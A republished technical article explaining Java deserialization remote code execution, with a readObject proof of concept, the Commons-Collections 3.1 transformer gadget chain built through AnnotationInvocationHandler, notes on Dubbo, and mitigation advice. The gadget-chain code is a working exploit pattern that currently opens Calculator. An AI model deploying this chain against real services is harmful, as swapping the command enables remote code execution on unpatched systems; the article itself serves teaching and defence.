How Java Deserialization Enables Remote Code Execution – Exploit Chains and Fixes
This article explains the mechanics of Java deserialization vulnerabilities, demonstrates how malicious payloads can trigger Runtime.exec via Commons‑Collections transformers and AnnotationInvocationHandler, showcases full exploit code, discusses Dubbo‑specific issues, and provides practical mitigation strategies.
Introduction
According to the latest Dubbo vulnerability disclosure, every Dubbo version is affected by a deserialization flaw that can lead to remote code execution.
Deserialization Vulnerability Basics
Java can execute external commands using the Runtime class. For example, on macOS:
Runtime.getRuntime().exec("open -a Calculator");When a class implements Serializable, its instances can be written to a byte stream and later reconstructed via deserialization. If the class defines a readObject method, that method is invoked during deserialization and can execute arbitrary code.
Proof‑of‑Concept Payload
public class App implements Serializable {
private String name;
private static final long serialVersionUID = 7683681352462061434L;
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
System.out.println("readObject name is " + name);
Runtime.getRuntime().exec("open -a Calculator");
}
public static void main(String[] args) throws Exception {
App app = new App();
app.name = "程序通事";
FileOutputStream fos = new FileOutputStream("test.payload");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(app);
os.close();
FileInputStream fis = new FileInputStream("test.payload");
ObjectInputStream ois = new ObjectInputStream(fis);
App objectFromDisk = (App) ois.readObject();
System.out.println("main name is " + objectFromDisk.name);
ois.close();
}
}Running the program prints the names and successfully opens the Calculator application.
Execution Conditions
The target application must have the vulnerable class on its classpath; otherwise a ClassNotFoundException is thrown.
The readObject method must be invoked without any validation.
Construct a malicious payload and wrap it layer by layer. Send the payload to the server; the server’s deserialization triggers readObject . The payload’s readObject executes a chain of transformers. The final transformer invokes Runtime.exec , achieving remote code execution.
Commons‑Collections Exploit
Adding the vulnerable commons-collections:commons-collections:3.1 dependency enables a classic gadget chain.
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>Commons‑Collections provides three transformer implementations:
ConstantTransformer InvokerTransformer ChainedTransformerExample of a transformer chain that ultimately calls Runtime.exec("open -a Calculator"):
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open -a Calculator"})
};
Transformer chain = new ChainedTransformer(transformers);By decorating a Map with TransformedMap, the put or Map.Entry.setValue operation triggers the transformer chain:
Map<String, String> inner = new HashMap<>();
inner.put("value", "you");
Map transformed = TransformedMap.decorate(inner, null, chain);The sun.reflect.annotation.AnnotationInvocationHandler class can hold the transformed map and is itself serializable. Although it has package‑private visibility, it can be instantiated via reflection:
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object payload = ctor.newInstance(Target.class, transformed);Full exploit code (including serialization to test.payload and deserialization that triggers execution) is provided in the source.
Fixes for Commons‑Collections
In JDK 8, AnnotationInvocationHandler no longer calls memberValue.setValue, breaking the gadget. Starting with Commons‑Collections 3.2.2, unsafe serialization is disabled by default, and InvokerTransformer.readObject now validates the payload, throwing UnsupportedOperationException when unsafe deserialization is disabled.
Dubbo Deserialization Vulnerability
Dubbo suffers from the same deserialization issue, but its exploit chain differs. The vulnerability was partially fixed in Dubbo 2.7.7 (released 2020‑06‑22), though older versions (e.g., 2.5.6) remain vulnerable.
Mitigation Recommendations
Upgrade to the latest safe versions of Commons‑Collections (≥ 3.2.2) and Dubbo (≥ 2.7.7).
Enable the unsafe‑serialization switch only when absolutely necessary.
Adopt a defense‑in‑depth approach: use a security manager, restrict deserialization of untrusted classes, and monitor network traffic for suspicious payloads.
For cloud‑deployed Dubbo services, leverage provider‑level traffic inspection to block exploit attempts.
References
http://blog.nsfocus.net/deserialization/
http://www.beesfun.com/2017/05/07/JAVA反序列化漏洞知识点整理/
https://xz.aliyun.com/t/2041
https://xz.aliyun.com/t/2028
https://www.freebuf.com/vuls/241975.html
http://rui0.cn/archives/1338
http://apachecommonstipsandtricks.blogspot.com/2009/01/transformedmap-and-transformers-plug-in.html
https://security.tencent.com/index.php/blog/msg/97
https://security.tencent.com/index.php/blog/msg/131
https://paper.seebug.org/1264/#35
Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
Java Backend Technology
Focus on Java-related technologies: SSM, Spring ecosystem, microservices, MySQL, MyCat, clustering, distributed systems, middleware, Linux, networking, multithreading. Occasionally cover DevOps tools like Jenkins, Nexus, Docker, and ELK. Also share technical insights from time to time, committed to Java full-stack development!
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
